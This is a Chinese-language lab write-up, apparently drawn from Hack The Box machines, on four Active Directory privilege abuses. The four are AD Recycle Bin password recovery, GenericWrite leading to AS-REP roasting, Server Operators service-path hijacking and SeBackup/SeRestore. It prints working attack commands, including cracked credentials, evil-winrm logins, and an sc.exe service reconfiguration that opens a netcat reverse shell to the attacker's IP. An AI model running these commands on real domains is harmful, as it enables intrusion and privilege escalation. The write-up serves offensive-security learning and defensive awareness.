在谈论这篇文章的主要内容之前,我想先讲讲Bloodhound这个工具,BloodHound 是一个强大的内网域渗透提权分析工具,它把域中各种抽象的概念和结构放在了一个能运行且直观,并易于使用的图形化功能中,自动用于提取和分析数据,高效准确地显示如何提升 AD 域中的权限。它使用图形理论来自动化的在 Active Directory 环境中搞清楚大部分人员的关系和细节。我们可以使用 BloodHound 快速深入了解 AD 的一些用户关系,了解哪些用户具有管理员权限,哪些用户有权对任何计算机都拥有管理权限,以及有效的用户组成员信息。它是一个对于我们在域渗透中寻找攻击向量、规划攻击路线、进行横向移动等都有有巨大的帮助,在这篇文章中我们也会用到这款工具。
相关知识补充:
为了说明启用 AD 回收站的价值,让我们回顾一下在未启用AD Recycle Bin时恢复 AD 对象涉及的内容。
在没有启用 AD 回收站的域中,当 Active Directory 对象被删除时,它会变成一个墓碑 。其在指定的时间段内保留在分区的 Deleted Objects 容器中 tombstone中 。在此期间,该物品在技术上是可以恢复的,但其丢失的属性一般可以认为是不可恢复的。一旦对象处于已删除对象状态的时间到了,该对象就变成了 回收对象,它会被清理掉。这个生命周期如下图所示:
如果启用了 AD 回收站,当对象被删除时,其大部分属性会保留一段时间,以便在需要时恢复对象。在此期间,对象处于 已删除对象状态。(此时间段在 msDS-DeletedObjectLifetime 属性中定义。默认情况下,其值为 tombstoneLifetime 属性的值。如果 msDS-deletedObjectLifetime 属性的值为 null 或该属性根本不存在,则解释其值为 tombstoneLifetime 属性的值。如果也没有 tombstoneLifetime 值,则两个值都默认为 60 天。)
一旦对象处于已删除对象状态的时间到了,该对象就变成了 回收对象。一个回收的对象看起来像一个带有 isRecycled 属性并设置为 TRUE 的墓碑。与墓碑一样,它的大部分属性都被删除,并且在 tombstoneLifetime 属性指定的时间段内持续存在于 Active Directory 中。然后它会被 Active Directory 的垃圾收集器清理掉。在启用回收站的情况下删除的对象的生命周期如下所示:
简介:
AD Recycle Bin
是一个著名的 Windows 组。Active Directory 对象恢复(或回收站)是 Server 2008 中添加的一项功能,允许管理员恢复已删除的项目,就像回收站对文件所做的一样。在 Windows Server 2012 之前,从 AD 回收站还原对象需要使用 LDAP 工具或 PowerShell 列出所有已删除的对象,筛选一长串对象以找到所需的对象,然后使用另一个 PowerShell 命令来还原它。
实际应用场景:
当前我们拿到了arksvc用户的shell,我们之前还找到了一个旧电子邮件,在该邮件中提到临时管理员帐户TempAdmin使用了与正常管理员帐户相同的密码(密码复用)。
通过使用以下命令我们可以查看当前用户的所属组
net user arksvc
我们可以使用以下命令来列出所有已删除的对象
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
(向右滑动、查看更多)
最后一条比较有意思,我们发现了前面提到的临时用户
我们可以使用以下命令来获得该帐户的所有详细信息:
Get-ADObject -filter { SAMAccountName -eq "TempAdmin" } -includeDeletedObjects -property *
(向右滑动、查看更多)
在该用户的详细信息中,我们发现了该用户的密码,尝试解密后成功得到了TempAdmin用户的密码
YmFDVDNyMWFOMDBkbGVz
echo YmFDVDNyMWFOMDBkbGVz | base64 -d
crackmapexec查看发现得到的密码可以通过winrm远程登录到admin用户
crackmapexec winrm 10.10.10.182 -u administrator -p baCT3r1aN00dles
evil-winrm -u administrator -p baCT3r1aN00dles -i 10.10.10.182
(向右滑动、查看更多)
至此,我们已经拿到了域管权限。
简介:
GenericWrite权限也就是通用写访问权限,该权限授予你写入目标对象上任何不受保护的属性的能力,包括组的“成员”和用户的“服务主体名称”。
实际应用场景:
当前我们拿到了用户sbauer的shell,这里我们尝试使用Blooodhound进行信息搜集
python bloodhound.py -c all -u sbauer -p 'D3veL0pM3nT!' -d MEGACORP.LOCAL -ns 10.10.10.179
(向右滑动、查看更多)
我们将bloodhound生成的json文件导入bloodhound分析,发现当前用户对JORDEN用户具有通用写权限,而JORDEN用户属于SERVER_OPERATORS组(高权限组)
这里我们回顾一下我在前面的文章中提到的 AS-REP roasting攻击,该攻击允许为选择了“不需要 Kerberos 预身份验证”属性的用户检索密码哈希的技术。事实上,如果用户没有启用 Kerberos 预身份验证,我们可以为该用户请求 AS-REP,并且可以离线破解从而尝试恢复其明文密码。而这里SBAUER用户对JORDEN用户具有通用写权限,那么我们可以为JORDEN用户设置“不需要 Kerberos 预身份验证”的属性,从而尝试使用AS-REP roasting攻击获取其明文密码。
我们可以使用下面这条命令来为JORDEN用户设置“不需要 Kerberos 预身份验证”的属性
Get-ADUser jorden | Set-ADAccountControl -doesnotrequirepreauth $true
(向右滑动、查看更多)
然后我们可以使用impactet下的GetNPUsers脚本来获取jorden用户的AS-rep票据
GetNPUsers.py megacorp.local/jorden -dc-ip 10.10.10.179
(向右滑动、查看更多)
我们把获取到的票据放到asrep.txt文件中,然后使用hashcat尝试破解获取其明文密码
[email protected]# hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force
...
[email protected]:c6e1735f291d71135278005a61a8e78e$771ee4486ddcf18fdf2ee216bf2e66cff076ef6907a1154f3458c7e5ef2f65038263f9ce459cfa964ad0057b53676f4c326e5d380910e
48d9fee2c585819d70cea63442b035359ef6f9cb3a8cfdfffe981c8e7c0aaaf913f9bf8d8df96147b30f15b71e5a9541dcdfcfef20670edfb46b2973917d661fadcc48df2aa9f72c1586a1bbcbff4420f89c4360125f1a9a23
12466f69201ed5035db7952bb6eaa3cec0edf0888e958e0180333ba11fde7e0448836d87fe3090152980a95c1e6c1a151a83603f1380ea7c306cfbd74fdd19a507c36c1d38db5c7231e9fee7bdbe73ad1dedac61c2b1e9d3ef
2e36834206c2130:rainforest786
...
crackmapexec winrm 10.10.10.179 -u jorden -p 'rainforest786' #检查是否可以远程登录
evil-winrm -i 10.10.10.179 -u jorden -p 'rainforest786' #远程登录
(向右滑动、查看更多)
此时我们已经成功的实施了从用户sbauer到用户jorden了的横向移动。
简介:
Server Operators组:该组仅存在于域控制器上的内置组。默认情况下,该组没有成员。服务器操作员可以交互式登录到服务器;创建和删除网络共享;启动和停止服务;备份和恢复文件;格式化电脑硬盘;并关闭计算机。
实际应用场景:
当前我们拿到了用户jorden的shell,通过使用以下命令我们发现该用户属于Server Operators组,默认情况下,该组具备启动和停止服务的能力,并且该用户可以编辑任何服务。
net user jorden
所以我这里想使用服务路径劫持的方式来获得系统权限,首先上传nc64.exe
到C:\programdata
*Evil-WinRM* PS C:\programdata> upload /root/nc64.exe
Info: Uploading /root/nc64.exe to C:\programdata\nc64.exe
Data: 60360 bytes of 60360 bytes copied
Info: Upload successful!
(向右滑动、查看更多)
经过一些尝试,我发现可以改变browser
服务的路径
*Evil-WinRM* PS C:\programdata> sc.exe config browser binPath= "C:\programdata\nc64.exe -e cmd.exe 10.10.14.19 443"
[SC] ChangeServiceConfig SUCCESS
(向右滑动、查看更多)
*Evil-WinRM* PS C:\programdata> sc.exe stop browser
SERVICE_NAME: browser
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0xafc8
*Evil-WinRM* PS C:\programdata> sc.exe start browser
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
(向右滑动、查看更多)
它报告失败了,但那是因为nc64.exe`不是服务二进制文件,但是我反弹的shell已经回来了
[email protected]#nc -lnvp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.179
Ncat: Connection from 10.10.10.179:50019.
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>type C:\users\administrator\desktop\root.txt
c793ac04******************
(向右滑动、查看更多)
简介:
SeBackupPrivilege权限:可以用来实现备份操作,对当前系统任意文件具有读权限 。SeRestorePrivilege权限:该权限被描述为“需要执行恢复操作”,并导致系统将所有写访问控制权授予任何系统上的文件,而不考虑文件 ACL。此外,该特权允许持有进程或线程更改所有者文件,因此获得此特权的含义应该是显而易见的。
在该系列的第一篇文章我提到了SeBackupPrivilege权限,在那篇文章我利用SeBackupPrivilege权限进行NTDS.dt卷影拷贝实现了权限提升,在这篇文章中我尝试的是不同的利用方法。
实际应用场景:
通过使用whoami /priv
命令发现该用户具有SeBackupPrivilege和
SeRestorePrivilege权限
有了SeBackupPrivilege和SeRestorePrivilege这两个权限,我就可以用robocopy
来复制敏感文件并读取其内容,在实战环境下我们可以尝试读取其他的一些敏感文件。
在本篇文章中,我主要描述了四种在域环境中容易被滥用的权限及其在特定场景中造成的危害,需要指出的是,我在本篇文章中所描述的这些权限的利用方法并不是唯一的,我这里只是给出了其中的一种利用方法而已,其他的利用方法还得大家自己摸索和学习,站在防御者的角度上来讲,了解这些容易被滥用的权限及其相应的危害,有助于我们学会发现潜在的攻击路径,以便于能够及时的排除相应的安全隐患。
精彩推荐